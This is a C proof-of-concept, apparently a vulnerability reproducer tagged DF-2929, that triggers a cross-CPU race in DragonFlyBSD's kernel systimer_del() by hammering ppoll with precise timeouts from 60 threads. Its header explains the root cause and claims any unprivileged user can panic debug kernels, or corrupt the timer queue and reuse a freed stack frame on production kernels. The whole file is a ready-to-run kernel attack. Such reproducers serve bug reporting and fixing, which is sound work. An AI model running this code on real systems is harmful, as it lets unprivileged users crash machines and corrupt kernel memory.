/*
 * DF-2929 — unprivileged cross-CPU systimer_del() race trigger
 * Target: sys/kern/kern_systimer.c systimer_del() (DragonFlyBSD 6.5-DEVELOPMENT)
 *
 * Root cause chain:
 *   sys_ppoll() with a non-NULL timeout passes KEVENT_TIMEOUT_PRECISE
 *   (sys/kern/sys_generic.c:1295-1296) -> dopoll() -> kern_kevent() ->
 *   precise_sleep() (sys/kern/kern_event.c:2114-2131), which arms a
 *   STACK-ALLOCATED systimer via systimer_init_oneshot() on the arming
 *   cpu, tsleep()s, and on wakeup — possibly on a *different* cpu under
 *   the user scheduler — calls systimer_del() from that cpu
 *   (kern_event.c:2127).
 *
 *   systimer_del() requires "Only the owning cpu can delete a timer"
 *   (kern_systimer.c:211,216-220) but enforces it only with KKASSERT.
 *   A cross-cpu delete executes an unsynchronized TAILQ_REMOVE() on the
 *   owning cpu's gd_systimerq (racing systimer_intr()/systimer_add()
 *   under the owner's critical section, which cannot stop a remote cpu)
 *   and a cross-cpu write to gd_systimer_inprog.
 *
 * Expected on this INVARIANTS guest kernel:
 *   kernel panic: KKASSERT "gd == mycpu && (info->flags &
 *   SYSTF_IPIRUNNING) == 0" in systimer_del, backtrace through
 *   precise_sleep <- kern_kevent <- dopoll <- sys_ppoll.
 * On production (no-INVARIANTS) kernels the same sequence races the
 * owner cpu's timer-queue walk / insert with an unsynchronized unlink,
 * corrupting gd_systimerq, and reuses the dead stack frame the timer
 * still points into (systimer_intr calls info->func(info,...) at
 * kern_systimer.c:100 on a frame whose owner already returned).
 *
 * Unprivileged. No setup beyond a compiler.
 */
#include <sys/types.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

#ifndef __unused
#define __unused __attribute__((__unused__))
#endif

static volatile sig_atomic_t stop_flag;
static unsigned long total_iters;

#define NSLEEPERS 60
#define NSPIN     0	/* spinners prevent idle-cpu stealing; keep 0 */

static void *hammer(void *x __unused)
{
	struct pollfd pfd;
	int pipefd[2];
	struct timespec ts;

	if (pipe(pipefd) != 0) {
		perror("pipe");
		exit(1);
	}
	/* keep write end open so the read end never becomes ready */
	pfd.fd = pipefd[0];
	pfd.events = POLLIN;

	while (!stop_flag) {
		/* 0.2ms .. 3ms precise timeouts -> precise_sleep() */
		ts.tv_sec = 0;
		ts.tv_nsec = 200000 + (random() % 2800000);
		ppoll(&pfd, 1, &ts, NULL);
		__sync_fetch_and_add(&total_iters, 1UL);
	}
	close(pipefd[0]);
	close(pipefd[1]);
	return (NULL);
}

static void *spinner(void *x __unused)
{
	volatile unsigned long j = 0;

	while (!stop_flag)
		j++;
	return (NULL);
}

int main(int argc, char **argv)
{
	int seconds = (argc > 1) ? atoi(argv[1]) : 120;
	pthread_t th[NSLEEPERS + NSPIN];
	int i;

	fprintf(stderr, "DF-2929 ppoll precise-sleep hammer: %d sleepers, "
	    "%d spinners, %ds\n", NSLEEPERS, NSPIN, seconds);

	for (i = 0; i < NSPIN; i++)
		pthread_create(&th[i], NULL, spinner, NULL);
	for (i = 0; i < NSLEEPERS; i++)
		pthread_create(&th[i + NSPIN], NULL, hammer, NULL);

	for (i = 0; i < seconds && !stop_flag; i++) {
		sleep(1);
		fprintf(stderr, "[%ds] iterations=%lu\n", i + 1, total_iters);
	}
	stop_flag = 1;
	for (i = 0; i < NSLEEPERS + NSPIN; i++)
		pthread_join(th[i], NULL);
	fprintf(stderr, "done, no panic observed. iterations=%lu\n",
	    total_iters);
	return (0);
}
